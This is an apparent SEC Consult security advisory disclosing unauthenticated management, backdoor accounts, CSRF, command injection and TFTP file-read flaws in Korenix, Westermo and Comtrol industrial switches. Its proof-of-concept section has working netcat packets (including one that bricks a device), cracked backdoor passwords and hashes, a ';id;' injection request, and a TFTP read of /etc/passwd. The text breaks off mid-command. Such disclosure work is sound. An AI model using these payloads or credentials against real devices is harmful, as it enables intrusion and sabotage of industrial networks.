SEC Consult Vulnerability Lab Security Advisory < 20210601-0 > ======================================================================= title: Multiple Critical Vulnerabilities product: Multiple Korenix Technology products: Korenix: JetNet 5428G-20SFP, JetNet 5810G, JetNet 4706F, JetNet 4706, JetNet 4706, JetNet 4510, JetNet 5010, JetNet 5310 and JetNet 6095. Westermo: PMI-110-F2G Pepperl+Fuchs: Comtrol RocketLinx Series, see SA-20201005-0 vulnerable version: See "Vulnerable / tested versions" fixed version: See "Solution" CVE number: CVE-2020-12500, CVE-2020-12501, CVE-2020-12502, CVE-2020-12503, CVE-2020-12504 impact: Critical homepage: https://www.korenix.com/ found: 2020-04-06 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Korenix Technology, a Beijer group company within the Industrial Communication business area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions. With decades of experiences in the industry, we have developed various product lines, including: - Industrial Ethernet Switch: Rackmount, Din-Rail, Managed, Unmanaged - Industrial Power-over-Ethernet Switch: Rackmount, Din-Rail, Managed, Unmanaged - Ethernet SFP/SFP+ Fiber Transceiver: 100M, 1000M, 10G - Industrial Wireless & Cellular Solution: LAN Access Point, WLAN Controller, Mobile Cellular Router/Gateway - Industrial Media Converter: Ethernet, Serial - Industrial Computer & Serial Server & I/O: VPN Router Computer, RISC, X86, Serial Device Server, Switch Card & I/O Module - Network Management Software: Korenix NMS Industrial Intelligent Network Management System, Korenix Mobile Manager Utility Our products are mainly applied in SMART industries: Surveillance, Machine-to- Machine, Automation, Remote Monitoring, andTransportation. Worldwide customer base covers different Sales channels, including end-customers, OEMs, system integrators, and brand label partners. [...]" Source: https://www.korenix.com/en/about/index.aspx?kind=3 Business recommendation: ------------------------ SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve potential further critical security issues. Vulnerability overview/description: ----------------------------------- 1) Unauthenticated Device Administration (CVE-2020-12500) Korenix, Westermo (members of the Beijer Group) and Comtrol (Pepperl+Fuchs) are sharing a partially similar firmware base for the industrial devices. They can be managed via a Windows client program called "Korenix View" or "Jet View". This program communicates in plaintext via UDP. All messages that are sent to the device are broadcastet in the whole subnet and the answers from the devices are send back via broadcast too. The older version of this management program, called "cmd-server2", can be controlled without a password. Analyzing the newer version, called "jetviewd", indicates that some kind of password can be set. But this is not part of the default configuration. Actions that can be done via this daemon, listening on UDP port 5010, are: * Modifying networking settings (IP, netmask, gateway) * Initiating self tests and blink LEDs on the device * Triggering download and upload of configuration files (via TFTP) * Triggering uploads of new firmware and bootloader files (via TFTP) The device can also be bricked via this daemon so that it is necessary to press the reset button and re-configure the settings. This was tested on a physical device, the JetNet 4706F. 2) Backdoor Accounts (CVE-2020-12501) Multiple different backdoor accounts were found during quick security checks of different firmware files. One backdoor account was tested on a later bought device to verify this specific finding. 3) Cross-Site Request Forgery (CSRF) (CVE-2020-12502) The web interface, that is used to set all configurations, is vulnerable to cross-site request forgery attacks. An attacker can change settings via this way by luring the victim to a malicious website. 4) Semi-Blind Authenticated Command Injection (CVE-2020-12503) A semi-blind command injection vulnerabilities were found on the device series "JetNet" and the "Westermo PMI-110-F2G Managed PoE Gigabit Switch". They are partially sharing the same firmware base. Therefore, the payloads to exploit those command injections are similar. Due to the lack of CSRF protection, an attacker can execute arbitrary commands on the device by luring the victim to click on a malicious link. 5) Arbitrary Unauthenticated TFTP Actions (CVE-2020-12504) A TFTP service is present on a broad range of devices for firmware-, bootloader-, and configuration-uploads/downloads. This TFTP server can be abused to read all files from the system as the daemon runs as root which results in a password hash exposure via the file /etc/passwd. Write access is restricted to certain files (configuration, certificates, boot loader, firmware upgrade) though. By uploading malicious Quagga config-files an attacker can modify e.g. IP-settings of the device. Malicious firmware and bootloader uploads are possible too. Proof of concept: ----------------- 1) Unauthenticated Device Administration (CVE-2020-12500) All commands can be sent via UDP port 5010. Device discovery (firmware/bootloader version etc. in response): echo -e "\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x01" | nc -u $IP 5010 Blink with leds: echo -e "\x00\x00\x00\x5b\x00\x00\x00\x01\x01" | nc -u $IP 5010 Permanent denial of service. The device is only available after pressing the reset button to load the default config: echo -e "\x00\x00\x00\x1f\x01\x01\x01\x04\x01\x01\x01\x01" | nc -u $IP 5010 Present on: * Korenix JetNet (Multiple devices) * Westermo PMI-110-F2G * Comtrol RocketLinx (Multiple devices) 2) Backdoor Accounts (CVE-2020-12501) The following accounts are available on different devices of Korenix. There might be more affected devices across this vendor. Westermo and Comtrol devices may be affected too. * User "kn001277", present on: - JetNet 4706f - JetNet 4706 More devices may be affected. Three users are present on the system according to "/etc/passwd". The hashes were cracked and assigned to each user: admin:admin root:ilovekor kn001277:vup2u04 By inspecting "/etc/passwd", the only user that is allowed to login to the device on the real shell (/bin/sh) is "kn001277": root:heGjODbadxtNw:0:0:root:/home:/bin/vtysh [...] kn001277:WcAXxIMgSqAhs:0:0:kn001277:/home:/bin/sh [...] admin:Dju8a52uMhbg.:0:0:root:/home:/bin/vtysh The credentials were tested on a real device and they worked. 3) Cross-Site Request Forgery (CSRF) (CVE-2020-12502) The following CSRF PoC can be used to ping 127.0.0.1. All other actions in the context of the menu, like uploading config files, can be done in the same way: -------------------------------------------------------------------------------
------------------------------------------------------------------------------- 4) Semi-Blind Authenticated Command Injection (CVE-2020-12503) The following command injection works on the devices: * Korenix JetNet (Multiple devices) * Comtrol RocketLinx (Multiple devices) * Westermo PMI-110-F2G The ping functionality in the web-interfaces can be abused to inject system commands in a semi-blind way. Two requests must be sent to the service to retrieve the output of the command injection. The first request is a POST-request to the endpoint /goform/formping: ------------------------------------------------------------------------------- POST /goform/formping HTTP/1.1 Host: $IP Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 57 Connection: close Cookie: -common-web-session-=::webs.session::9c10b4b1b22063e7fcba5369ff86e779 Upgrade-Insecure-Requests: 1 PingIPAddress=;id;&submit-url=%2Ftoolping.asp&Submit=Ping ------------------------------------------------------------------------------- This request triggers the actual command injection in a blind way. The output can be fetched from the system by using the following GET-request after triggering the previous POST-request: ------------------------------------------------------------------------------- GET //toolping.asp HTTP/1.1 Host: $IP Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: -common-web-session-=::webs.session::9c10b4b1b22063e7fcba5369ff86e779 Upgrade-Insecure-Requests: 1 ------------------------------------------------------------------------------- 5) Arbitrary TFTP Actions (CVE-2020-12504) The Linux TFTP client was used to download files from the system using absolute paths. Uploads were only possible on existing paths like: /home/Quagga.conf /home/bootloader.bin To download the /etc/passwd file from the system, the following command was invoked: [user@localhost ~]$ tftp -m binary